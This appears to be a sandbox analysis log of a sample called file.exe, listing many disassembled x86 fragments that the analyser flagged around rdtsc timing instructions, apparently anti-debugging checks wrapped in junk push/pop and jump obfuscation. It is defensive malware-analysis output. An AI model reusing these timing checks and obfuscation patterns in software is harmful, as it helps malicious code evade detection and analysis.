Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41157 second address: F4116E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jns 00007F711CDAA076h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4116E second address: F4117F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711D40AC5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F431F7 second address: F431FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F431FB second address: F431FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F431FF second address: F43205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43205 second address: F4325E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F711D40AC68h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push ecx 0x0000000f ja 00007F711D40AC5Ch 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 mov dword ptr [ebp+1245036Eh], ebx 0x0000001f mov edx, dword ptr [ebp+122D2C42h] 0x00000025 popad 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D1CB5h], ebx 0x0000002e jp 00007F711D40AC5Ch 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4325E second address: F43265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43265 second address: F43270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F711D40AC56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F1BE second address: F3F1C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F413BA second address: F413BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43491 second address: F434A4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c je 00007F711CDAA076h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F434A4 second address: F434AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47A11 second address: F47A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F711CDAA078h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 0000001Bh 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 sub bh, FFFFFFA7h 0x00000023 push 00000000h 0x00000025 call 00007F711CDAA085h 0x0000002a pushad 0x0000002b mov dword ptr [ebp+12455E66h], eax 0x00000031 xor edx, dword ptr [ebp+122D2B56h] 0x00000037 popad 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F711CDAA078h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jne 00007F711CDAA089h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49189 second address: F4918E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4918E second address: F49194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4EAFA second address: F4EB07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F711D40AC56h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4EC42 second address: F4EC48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4EC48 second address: F4EC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F711D40AC5Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e jp 00007F711D40AC56h 0x00000014 pushad 0x00000015 jmp 00007F711D40AC5Dh 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push esi 0x0000001d pop esi 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 jc 00007F711D40AC5Eh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CFF3 second address: F5CFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3768 second address: EE3784 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F711D40AC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F711D40AC5Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C6F3 second address: F5C70C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA085h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C70C second address: F5C712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C712 second address: F5C732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F711CDAA083h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C732 second address: F5C74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F711D40AC56h 0x0000000a pop ebx 0x0000000b jnl 00007F711D40AC5Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C74B second address: F5C757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F711CDAA076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C757 second address: F5C75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C75B second address: F5C75F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CA23 second address: F5CA2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F711D40AC56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB84 second address: F5CB8A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB8A second address: F5CBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F711D40AC64h 0x0000000b js 00007F711D40AC5Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE1F second address: F5CE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA081h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE38 second address: F5CE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F711D40AC58h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63472 second address: F6347E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F711CDAA076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F636E7 second address: F636EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F636EB second address: F6370D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F711CDAA076h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 jbe 00007F711CDAA07Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6370D second address: F63711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63711 second address: F63717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63182 second address: F6318D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F711D40AC56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63DD0 second address: F63DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F711CDAA076h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64085 second address: F64089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BCD3 second address: F6BCD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BCD7 second address: F6BCDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29EE3 second address: F29EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29EE9 second address: F29EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29EED second address: F29EF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29F62 second address: F29F68 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29F68 second address: F29FB1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F711CDAA084h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F711CDAA087h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jnc 00007F711CDAA076h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jns 00007F711CDAA076h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29FB1 second address: F29FDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F711D40AC5Eh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F711D40AC61h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A365 second address: F2A387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F711CDAA076h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F711CDAA081h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A387 second address: F2A38D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A4E6 second address: F2A4F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F711CDAA076h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FB8C second address: F0FBAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F711D40AC5Dh 0x0000000c jno 00007F711D40AC58h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B45B second address: F6B461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B461 second address: F6B467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B467 second address: F6B46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F751A8 second address: F751CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F711D40AC65h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F751CC second address: F751D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F751D0 second address: F751E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F711D40AC5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F751E6 second address: F751EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F751EC second address: F751F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F751F0 second address: F75211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F711CDAA087h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73D1F second address: F73D29 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F711D40AC5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73D29 second address: F73D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 js 00007F711CDAA076h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F742C4 second address: F742C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F742C8 second address: F742D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F711CDAA076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F749E2 second address: F749F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC5Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74B11 second address: F74B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74B15 second address: F74B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F711D40AC60h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74B33 second address: F74B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74FE6 second address: F75011 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F711D40AC56h 0x00000008 jmp 00007F711D40AC68h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 ja 00007F711D40AC56h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77B53 second address: F77B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77B59 second address: F77B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77B5F second address: F77B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77695 second address: F776D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F711D40AC5Fh 0x0000000c je 00007F711D40AC56h 0x00000012 jng 00007F711D40AC56h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F711D40AC66h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F776D2 second address: F776D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F776D6 second address: F776DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A4DA second address: F7A4E8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F711CDAA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A4E8 second address: F7A4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80ED2 second address: F80EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F711CDAA076h 0x0000000d jc 00007F711CDAA076h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81055 second address: F8105B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8105B second address: F81084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F711CDAA07Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F711CDAA082h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A65C second address: F2A669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A669 second address: F2A66E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A66E second address: F2A706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 call 00007F711D40AC65h 0x0000000d mov dword ptr [ebp+122D39C7h], edx 0x00000013 pop edi 0x00000014 mov ebx, dword ptr [ebp+1247E649h] 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F711D40AC58h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 and ecx, 14BAD4C6h 0x0000003a add eax, ebx 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F711D40AC58h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 jp 00007F711D40AC5Ch 0x0000005c mov dword ptr [ebp+122D378Eh], ecx 0x00000062 nop 0x00000063 js 00007F711D40AC5Eh 0x00000069 jnl 00007F711D40AC58h 0x0000006f push eax 0x00000070 pushad 0x00000071 push ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A706 second address: F2A70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8172F second address: F81735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81735 second address: F8173C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8173C second address: F81743 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81743 second address: F8174C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB22D second address: EDB231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB231 second address: EDB248 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Ch 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB248 second address: EDB260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F711D40AC5Fh 0x0000000e rdtsc
